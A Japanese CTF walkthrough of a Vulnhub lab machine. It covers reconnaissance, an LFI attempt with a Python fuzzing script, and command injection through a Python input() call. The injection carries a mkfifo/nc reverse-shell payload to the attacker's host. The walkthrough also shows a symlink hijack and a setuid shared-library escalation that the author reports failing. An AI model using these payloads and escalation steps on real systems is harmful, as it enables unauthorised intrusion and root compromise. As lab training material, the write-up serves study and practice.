靶機アドレス
難易度:中程度
ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- コマンド実行
** 一部のツールの使い方と詳細については、このシリーズの最初の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **
0x00 情報収集#
ターゲット機のスキャン情報#
netdiscoverの-rパラメータで192.168.1.0/16をスキャンした結果は以下の通りです:

nmapでホストとポート情報をスキャン:
nmap -sS -sV -n -T4 -p- 192.168.1.9

特に何もない
パスのスキャン#
おなじみの三種の神器:dirb、dirsearch、gobuster
dirbのスキャン結果は悲惨で、index.phpしかスキャンできませんでしたので、公開しません
dirsearchのスキャン
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.9

gobusterのスキャン
gobuster dir -u http://192.168.1.9 -s 200,301,302 -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

0x01 LFI 脆弱性の初利用失敗#
脆弱性利用位置の推測#
ホームページのソースコードには特に目立ったものはありませんでしたので、明らかに問題のあるimage_gallery.phpにアクセスします

中の画像テンプレートにはtとfの 2 つのパラメータがあります
何度もリフレッシュしてアクセスすると、前のtの値はしばらくすると変わり、後ろのbase64でエンコードされた値はずっと変わりませんでした
そこで、まずは後ろの値をbase64デコードしてみます:
![]()
画像名が得られ、imgディレクトリにアクセスすると以下のようになります:

後ろのfの値は画像を参照していることが確定しましたので、前の値はおそらくタイムスタンプです
これにより、タイムスタンプを偽造し、LFIローカルファイルインクルード脆弱性を利用して他のファイルの値を読み取ることができると推測しました
LFI 脆弱性利用スクリプトの作成#
そこで、いくつかのアクセスしたいpayloadを構築してみました:
bottleneck_dontbe.png
/etc/passwd/
../../../etc/passwd/
../../../../etc/passwd/
../../../../../etc/passwd/
これをpayloads.txtとして保存し、同じディレクトリに以下のpythonスクリプトを作成します:
import base64
import re
import requests
url = "http://192.168.1.9/image_gallery.php"
r = requests.get(url)
response = r.text
t = re.findall(r't=(.*?)&f', response)[0]
# タイムスタンプを取得
for line in open("payloads.txt").read().splitlines():
word = line.strip("\r").strip("\n")
payload = base64.b64encode(word.encode("utf-8"))
try:
params = {'t': t, 'f': payload}
r1 = requests.get(url, params=params)
print(r1.request.url)
print('---------------response begin-----------------')
response = r1.text
if not response:
print("no response")
else:
print(response)
print('---------------response end-----------------')
except Exception as e:
print(e)
結果として、毎回返ってくるのは同じコメントでした:

これにより、LFIローカルファイルインクルード脆弱性が遮断されていると推測し、別のアプローチを試みます
0x02 input 脆弱性でシェルを取得#
image_gallery.phpのソースコードに次のような行を見つけました:
include_once 'image_gallery_load.php';
そこで、payloads.txtを以下のように置き換えます:
../image_gallery_load.php
得られたimage_gallery_load.phpのソースコードは以下の通りです:
if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
}
$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// intrusionをsocに報告し、さらなる調査のために情報をローカルに保存
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../');
?>
コードから、ブラックリストがあることがわかります。私たちがテストした/etcもその中に含まれています
また、python execute文もあることがわかります
重要なコードを詳しく分析します:
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
ブラックリストのキーワードがある場合、python文がログに出力されます
ここで、input関数を利用して、payloadを含む文をpythonで実行させることができると考えました
input () 関数が脆弱性を生む理由:この関数は stdin からの入力を python コードとして実行します(計算式のように、python コードとして扱い、計算結果を返します)。python3 では、input () 関数がデフォルトで文字列として入力されるように変更されています。
ここでは、python文をetc' andとand 'の間に置くだけで済みます
** 私の文章は一日で書き終わるわけではないので、kali と靶機の IP は変わっています **
payloadを以下のように構築します:
etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc kaliのip 4444 >/tmp/f") and'
これをpayloads.txtに書き込み、kaliでnc -lvp 4444を先に起動します
スクリプトを実行し、シェルを取得して現在の権限を確認します:

kaliでリスニングする際はmsfも使用できます
payloadをcmd/unix/reverse_netcat_gapingに設定します
リスニングを迅速に開始:
handler -H kaliのip -P 4444 -p cmd/unix/reverse_netcat_gaping

参考記事:
0x03 シェルの権限昇格#
シンボリックリンクを変更して権限昇格#
現在取得したのはwww-dataの権限だけです
sudo権限のあるコマンドを探します:sudo -l

bytevsbyteアカウントを使用して、そのフォルダに入り、ファイルを確認します:

clearlogsがシンボリックリンクで、実体ファイルは/opt/clearlogs.shです
ファイルの所有者とclear_logsファイルを実行する権限を持つのはbytevsbyteです
したがって、シンボリックリンクを私たちのスクリプトに変更することを考えます。スクリプトの内容は
/bin/bash
これにより、bytevsbyteユーザーに切り替えることができます。操作は以下の通りです:
cd /tmp
echo "/bin/bash" > soapffz
chmod 777 soapffz
ln -snf /tmp/soapffz /var/www/html/web_utils/clear_logs
sudo -u bytevsbyte /var/www/html/web_utils/clear_logs
機能は明らかで、clear_logsのシンボリックリンクを私たちが書いたスクリプトに強制的に変更します
そして、bytevsbyteユーザーでそれを実行することで、bytevsbyteユーザーに切り替わります
lnの 3 つのパラメータの役割はそれぞれ以下の通りです;
- -s シンボリックリンク
- -n シンボリックリンクを一般のディレクトリとして扱う
- -f 強制的に実行

これで、bytevsbyteユーザーのルートディレクトリに行き、彼のflagを取得できます:

root 権限の昇格#
SUID 権限の実行可能ファイルを探すためにfindコマンドを使用します
これはこのシリーズの最初の記事でも紹介されています。記事の冒頭にリンクがあります
find / -perm -u=s -type f 2>/dev/null
ファイルに権限があります。www-data と bytevsbyte のユーザーグループは異なります。bytevsbyte は tester ユーザーグループに属し、tester ユーザーのみが /usr/test ディレクトリの内容を読み取ることができます。

疑わしいファイル/usr/test/testlibを発見し、パスに入ってみます

#include <dlfcn.h>
#include <unistd.h>
int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}
この実行可能ファイルは共有ライブラリをロードし、拡張子が(.so)のライブラリ内で
test_thisという名前の関数を呼び出します。共有ライブラリの名前はこの実行可能ファイルに渡される最初のパラメータですので、test_thisという名前の関数を持つシェルを作成し、それを共有ライブラリとしてコンパイルする必要があります。その後、testlibを実行し、それを引数として渡します
ここではjivoi大佬のshellを使用します
ただし、関数名をtest_thisに変更し、もう 1 つのヘッダーファイル#include <stdlib.h>を追加することに注意してください
コードは以下の通りです:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int test_this(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
後のcファイルとsoファイルの名前は特に関係ありません
靶機のshellではgccを使用してコンパイルできないため、別のウィンドウでコンパイルしておきます
その後、靶機のshellでスクリプトをダウンロードし、実行権限を与えます。操作は以下の通りです
kaliのターミナルで
vim soapffz.c
gcc -shared -fPIC soapffz.c -o soapffz.so
service apache2 start
mv soapffz.so /var/www/html/

靶機のshellで:
cd /home/bytevsbyte
id
wget http://192.168.1.6/soapffz.so
chmod 777 soapffz.so
/usr/test/testlib /home/bytevsbyte/soapffz.so
このステップは常に失敗しており、理由がわかりません(.c と.so ファイルの名前は無関係です):

どなたか教えていただける方はいらっしゃいますか。。
参考記事:
本文完。